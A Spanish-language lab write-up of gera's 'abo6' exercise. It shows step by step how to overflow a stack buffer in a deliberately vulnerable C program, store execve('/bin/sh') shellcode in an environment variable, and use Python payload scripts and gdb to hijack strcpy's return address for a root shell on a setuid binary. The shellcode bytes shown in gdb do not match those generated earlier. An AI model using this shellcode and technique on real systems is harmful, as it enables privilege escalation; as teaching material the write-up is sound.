/* abo6.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* return to me my love */
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Este programa es muy similar al Abo 5, apila dos variables locales: el puntero pbuf
(que apunta al heap) y buf
. Después de copiar el contenido del primer y segundo parámetro en las variables entra en un loop infinito con while(1)
, provocando que main()
nunca retorne.
En este punto de la ejecución el mapa de la pila es el siguiente:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
eip => strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Al igual que en el abo5 de nada nos serviría sobreescribir la dirección de retorno de main()
, ya que por el loop infinito while(1)
nunca retorna.
Hasta este punto almacenabamos el shellcode en una variable local dentro de la pila. Si bien hay estrategias para reducir la cantidad de bytes de un shellcode (optimizando el código assembler al máximo), es esperable que este búfer sea demasiado pequeño para almacenarlo. Una solución alternativa es almacenar el shellcode en otros espacios de memoria como las variables de entorno, que no tienen restricciones de tamaño y -a su vez- también se almacenan en la pila.
Aquí un detalle del almacenamiento de las variables de entorno en la pila:
Para probar el funcionamiento de este ataque creamos una nueva variable de entorno VAR
con el string “prueba”:
user@abos:~$ export VAR=prueba
user@abos:~$ env ; consultamos las variables de entorno
XDG_SESSION_ID=XXX
TERM=xterm-256color
SHELL=/bin/bash
VAR=prueba ; nueva variable de entorno
....
Ahora creamos una variable de entorno SHELLCODE
dónde vamos a almacenar el shellcode:
user@abos:~$ for i in $(python -c 'print("\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin
user@abos:~$ export SHELLCODE=$(cat shellcode.bin)
user@abos:~$ env
XDG_SESSION_ID=XXX
SHELLCODE=�1�[�C��C ; el shellcode
��S
1Ұ
�1�̀�����/bin/shABBBBCCCC
TERM=xterm-256color
SHELL=/bin/bash
....
En este punto cuando ejecutemos el programa vulnerable sabremos que el shellcode inyectado al que debemos redireccionar la ejecución está en la pila junto al resto de las variables de entorno.
El objetivo será modificar la dirección de retorno del segundo strcpy()
para que apunte a la variable de entorno shellcode
en vez de retornar a main()
. Al igual que antes, lo logramos de manera indirecta:
strcpy(buf,argc[1])
con el primer parámetro sobreescribirmos pbuf
para que apunte a la dirección de retorno del segundo strcpy()
.strcpy(pbuf,argc[2])
dado que el segundo parámetro modifica el valor al que apunta pbuf
, con él podemos sobreescribir la dirección de retorno del segundo strcpy()
para que apunte a la variable de entorno SHELLCODE
.user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo6 abo6.c
user@abos:~$ sudo chown root ./abo6; sudo chmod u+s ./abo6 ; root owner y setuid
user@abos:~$ for i in $(python -c 'print("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin
user@abos:~$ export SHELLCODE=$(cat shellcode.bin)
user@abos:~$ env
XDG_SESSION_ID=XXX
SHELLCODE=�1�[�C��C
��S
1Ұ
�1�̀�����/bin/shABBBBCCCC
TERM=xterm-256color
SHELL=/bin/bash
Consideraciones: en esta instancia se apela a un truco para lograr una shell con privilegios de root se modifican los permisos del binario con
chown
ychmod
.
gdb
corremos el programa con el script fixenv de Hellman.
user@abos:~$ ./r.sh gdb ./abo6
(gdb) show env
XDG_SESSION_ID=328
SHELLCODE=�1�[�C��C ; shellcode en env
�1�̀�����/bin/shABBBBCCCC
SHELL=/bin/bash
(gdb) x/2000s $esp ; vemos addr de shellcode
0xbffff90a: "XDG_SESSION_ID=335"
=> 0xbffff91d: "SHELLCODE=", '\220' <repeats 20 times>, "\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200"
0xbffff95f: "SHELL=/bin/bash"
....
(gdb) x/4wx 0xbffff91d ; ASCII de "SHELLCODE" + nops
0xbffff91d: 0x4c454853 0x444f434c 0x90903d45 0x90909090
(gdb) x/xw 0xbffff91d+10 ; addr nop slide
=> 0xbffff927: 0x90909090
Primero detectamos que en 0xbffff91d
comienza el nombre de la variable de entorno, es decir el string “SHELLCODE”. A esa dirección le sumamos diez caracteres para saltearnos el string del nombre y obtener una dirección que desemboque directamente en los NOPs (en gdb
verificamos que en 0xbffff927
están los nops). Entonces la dirección a la que debemos redirigir el flujo de ejecución es: 0xbffff927
.
Armamos ambos argumentos a usar.
Primer argumento: usamos el primer strcpy(buf,argc[1])
para sobreescribir pbuf
con un overflow y lo hacemos apuntar, ya no al heap, sino a la dirección de retorno del segundo strcpy()
, que como aún no sabemos cuál es indicamos 0x41414141
.
Con esto armamos un archivo python para ingresar como primer parámetro:
param1.py
#! /usr/bin/env python
import sys
from struct import pack
len_buf = 256
ret_addr_strcpy = 0x41414141 #????
exploit = "\x41" * len_buf #fill buf
exploit += pack("<I", ret_addr_strcpy) #set pbuf
sys.stdout.write(exploit)
Segundo argumento: aprovechando strcpy(pbuf,argc[2])
modificamos el valor al que apunta pbuf
, es decir, modificamos la dirección de retorno del strcpy()
y la reemplazamos por la dirección del shellcode del entorno.
Armamos un archivo python para ingresar como segundo parámetro:
param2.py
#! /usr/bin/env python
import sys
from struct import pack
env_shell_addr = 0xbffff927
exploit = pack("<I", env_shell_addr) #set ret addr del 2do strcpy()
sys.stdout.write(exploit)
Finalmente, averiguamos la dirección de retorno que va a apilar el segundo strcpy()
, ejecutando el programa vulnerable con los dos argumentos definidos antes.
user@abos:~$ ./r.sh gdb ./abo6
(gdb) break 13 ; break en 2do strcpy()
(gdb) r "$(./param1.py)" "$(./param2.py)"
(gdb) c
Continuing.
Breakpoint 2, main (argv=3, argc=0xbffff6d4) at abo6.c:13
13 strcpy(pbuf,argc[2]);
(gdb) x/2i $eip
=> 0x80484a5 <main+74>: push DWORD PTR [ebp-0x4]
0x80484a8 <main+77>: call 0x8048310 <strcpy@plt>
(gdb) si
(gdb) x/i $eip ; llegamos al call de 2do strcpy()
=> 0x80484a8 <main+77>: call 0x8048310 <strcpy@plt>
(gdb) si ; entramos en 2do strcpy()
0x08048310 in strcpy@plt ()
(gdb) x/wx $esp ; vemos ret_addr apilada
0xbffff528: 0x080484ad
(gdb)
Llegamos al punto en el que se ejecuta la línea de código strcpy(pbuf,argc[2])
, avanzamos una siguiente instrucción con si
y leemos el tope de la pila x/wx $esp
para conocer en qué dirección se apiló la dirección de retorno a main()
. La dirección de retorno del segundo strcpy()
que debemos sobreescribir es entonces 0xbffff528
.
Consideraciones: el programa vulnerable toma dos argumentos que se almacenan en la pila y por ende su longitud afecta los cálculos de las direcciones. Es por eso que para saber con exactitud la dirección de retorno debemos cuidar que las distintas ejecuciones del programa tengan argumentos siempre de igual longitud. Incluso planificamos que los valores temporales que usamos como
0x41414141
ocupen el mismo espacio que ocupará la dirección definitiva.
Actualizamos con la dirección de retorno con el valor correcto en el primer parámetro del exploit.
param1.py
#! /usr/bin/env python
import sys
from struct import pack
len_buf = 256
ret_addr_strcpy = 0xbffff528
exploit = "\x41" * len_buf #fill buf
exploit += pack("<I", ret_addr_strcpy) #set pbuf
sys.stdout.write(exploit)
user@abos:~$ ./r.sh ./abo6 "$(./param1.py)" "$(./param2.py)"
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
# whoami
root
#
Suponiendo que el binario vulnerable fue creado por root con permisos especiales setuid, con este ataque lograríamos una root shell que podrá por ejemplo acceder a archivos como root, etc.
[1]. Erickson, Jon. (2008). Hacking: the art of exploitation.